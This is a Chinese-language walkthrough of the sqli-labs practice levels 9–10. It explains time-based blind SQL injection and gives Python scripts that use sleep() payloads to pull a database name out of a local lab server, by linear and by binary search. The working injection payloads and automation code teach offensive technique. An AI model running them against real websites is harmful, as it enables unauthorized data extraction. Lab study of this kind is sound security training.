sqli-labs 9~10 多命通关攻略(Python3 自动化实现时间盲注)

sqli-labs 9~10 多命通关攻略(Python3 自动化实现时间盲注)

  • 描述
  • 判断注入类型
      • 返回结果
          • 正常输入
          • 不正常输入
          • 错误输入
      • 总结
      • 判断注入类型
          • 字符型注入
            • 双引号字符型注入
            • 单引号字符型注入
  • 时间盲注
      • sleep()
  • 时间盲注的 Python 实现
      • 爆破数据库名称的长度的位数
      • 爆破数据库名称的长度
      • 爆破数据库的名称
      • 代码总汇
  • 时间盲注的 Python 实现(二分查找)
      • 计时器
      • 代码总汇
  • 第十关

描述

项目 描述
操作系统 Windows 10 专业版
MySQL 版本 MySQL 5.7.40
Apache 版本 Apache 2.2.39

判断注入类型

返回结果

正常输入
?id=1

返回结果:

You are in…

不正常输入
?id=99999

返回结果:

You are in…

错误输入
?id='
?id="

返回结果均为:

You are in…

总结

三种输入,sqli-labs 的回显区域显示的内容均 You are in…,因此我们只能使用基于时间的注入方式。

判断注入类型

字符型注入
双引号字符型注入
?id=1" and if(1=1, sleep(5), 0)--+

延迟情况:

无延迟现象

单引号字符型注入
?id=1' and if(1=1, sleep(5), 0)--+

延迟情况:

存在 5 秒左右的延迟

根据延迟的现象可以推断通过该关卡需要使用的注入方式是单引号字符型注入

时间盲注

时间盲注相信各位在本文前部分内容(判断注入类型)已经观察到了。时间盲注与布尔盲注类似,布尔盲注通过观察页面的回显来判断我们构造的判断语句的布尔结果,而时间盲注则通过观察页面回显所耗费的时间来判断我们构造的判断语句的布尔结果。

sleep()

在时间盲注的过程中,我们常常使用 sleep() 函数来进行时间上的控制。

MySQL 中的 sleep() 可以将查询暂停指定的秒数,秒数通过传递给 sleep() 函数的参数来指定。

时间盲注的 Python 实现

在这一关中,我们仍将以爆破 sqli-labs 使用的默认数据库的表名(security)来进行演示。
本部分内容推荐先行阅读 sqli-labs 第八关 多命通关攻略(Python3 自动化实现布尔盲注)。本部分内容假定读者已阅读该篇文章,因此有较多的省略,还请见谅。

爆破数据库名称的长度的位数

import requests
import time


def decide():
    for i in range(10):
        start_time = time.time()
        response = requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(substr(length(length(database())), 1, 1)={i}, sleep({TIME}), 0)--+")
        process_time = time.time() - start_time
        print(process_time)
        if process_time > TIME:
            return i

        
if __name__ == '__main__':
    TIME = 5
    size = decide()
    print(size)

打印结果:

0.035990238189697266
5.023866653442383
1

其中:

  1. 我们使用了 Python 的 time 模块来对回响时间进行计时,time.time() 函数返回调用该函数时的时间戳,通过两次调用该函数并对两次调用的结果进行相减,我们便可以得到 Python 使用 requests 发起请求到接收到响应内容所耗费的时间(秒)。
  2. 由于我们将 MySQL 中的 sleep() 函数的参数值设置为 5,因此在我们构造的判断语句的判断结果为 true 时,该函数都将使查询暂停 5 秒。
  3. 由于 sleep() 函数将使查询暂停 5 秒,所以接受到该次查询的返回结果必定大于 5 秒。因此我们在 Python 中使用 if 语句辨别出接受响应内容所耗费时间大于 5 秒的查询,并将该次查询所用到的变量 i 作为正确结果返回。
  4. 变量 TIME 即我们需要设置 sleep() 函数暂停查询的秒数,这个值不要设置的太高,太高会减慢我们注入的速度;太低则难以与其他查询辨别且容易产生错误(网络波动导致某次查询所耗费的时间超过了 TIME 设定的值,但该次查询返回结果所耗费的时间超过 TIME 设定的值的原因并不是 MySQL 造成的)。

爆破数据库名称的长度

import requests
import time


def decide():
    for i in range(10):
        start_time = time.time()
        response = requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(substr(length(length(database())), 1, 1)={i}, sleep({TIME}), 0)--+")
        process_time = time.time() - start_time
        if process_time > TIME:
            return i 


def ruler(size):
    result = ''
    for i in range(1, size + 1):
        for j in range(10):
            start_time = time.time()
            response = requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(substr(length(database()), {i}, 1)={j}, sleep({TIME}), 0)--+")
            process_time = time.time() - start_time
            if process_time > TIME:
                result += str(j)
                break
    return int(result)
        
        
if __name__ == '__main__':
    TIME = 5
    size = decide()
    length = ruler(size)
    print(length)

返回结果:

8

爆破数据库的名称

import requests
import time


def process(length):
    result = ''
    for i in range(1, length + 1):
        for j in range(32, 126):
            start_time = time.time()
            response = requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(), {i}, 1))={j}, sleep({5}), 0)--+")
            process_time = time.time() - start_time
            if process_time > TIME:
                result += chr(j)
                print(result)
    return result


if __name__ == '__main__':
    TIME = 5
    process(8)

打印结果:

s
se
sec
secu
secur
securi
securit
security

代码总汇

import requests
import time


def decide():
    for i in range(10):
        start_time = time.time()
        response = requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(substr(length(length(database())), 1, 1)={i}, sleep({TIME}), 0)--+")
        process_time = time.time() - start_time
        if process_time > TIME:
            return i 


def ruler(size):
    result = ''
    for i in range(1, size + 1):
        for j in range(10):
            start_time = time.time()
            response = requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(substr(length(database()), {i}, 1)={j}, sleep({TIME}), 0)--+")
            process_time = time.time() - start_time
            if process_time > TIME:
                result += str(j)
                break
    return int(result)


def process(length):
    result = ''
    for i in range(1, length + 1):
        for j in range(32, 126):
            start_time = time.time()
            response = requests.request('get', f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(), {i}, 1))={j}, sleep({5}), 0)--+")
            process_time = time.time() - start_time
            if process_time > TIME:
                result += chr(j)
                print(result)
    return result

        
if __name__ == '__main__':
    TIME = 5
    size = decide()
    length = ruler(size)
    process(length)

时间盲注的 Python 实现(二分查找)

计时器

为了便于后续的判断,我们可以创建一个用于计算代码运行时间的函数 clock()

def clock(expr):
    start_time = time.time()
    response = requests.request('get', expr)
    return time.time() - start_time

代码总汇

import requests
import time


def clock(expr):
    start_time = time.time()
    response = requests.request('get', expr)
    return time.time() - start_time


def decide():
    left = 0
    right = 9
    while left <= right:
        middle = (left + right) // 2
        if clock(f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(substr(length(length(database())), 1, 1)>{middle}, sleep({5}), 0)--+") > TIME:
            left = middle + 1
        elif clock( f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(substr(length(length(database())), 1, 1)<{middle}, sleep({5}), 0)--+") > TIME:
            right = middle - 1
        else:
            return middle
        

def ruler(size):
    left = 0
    right = 9
    i = 1
    length = ''
    while left <= right and i <= size:
        middle = (left + right) // 2
        if clock(f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(substr(length(database()), {i}, 1)>{middle}, sleep({5}), 0)--+") > TIME:
            left = middle + 1
        elif clock(f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(substr(length(database()), {i}, 1)<{middle}, sleep({5}), 0)--+") > TIME:
            right = middle - 1
        else:
            i += 1
            length += str(middle)  
            left = 0
            right = 126
    return int(length)


def process(length):
    left = 32
    right = 126
    i = 1
    result = ''
    while left <= right and i <= length:
        middle = (left + right) // 2
        if clock(f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(), {i}, 1))>{middle}, sleep({5}), 0)--+") > TIME:
            left = middle + 1
        elif clock(f"http://127.0.0.1/range/sqli-labs/Less-9/?id=1' and if(ascii(substr(database(), {i}, 1))<{middle}, sleep({5}), 0)--+") > TIME:
            right = middle - 1
        else:
            i += 1
            result += str(chr(middle))
            left = 0
            right = 126
            print(result)
    return result
        

if __name__ == '__main__':
    TIME = 5
    size = decide()
    length = ruler(size)
    result = process(length)

第十关

第十关与第九关的区别仅在于闭合方式的不同,第九关需要正确的闭合单引号,而第十关则需要正确的闭合双引号。除此之外,第九关与第十关无异。

你可能感兴趣的:(CTF,MySQL,python,mysql,sql,注入,sqli-labs,时间盲注)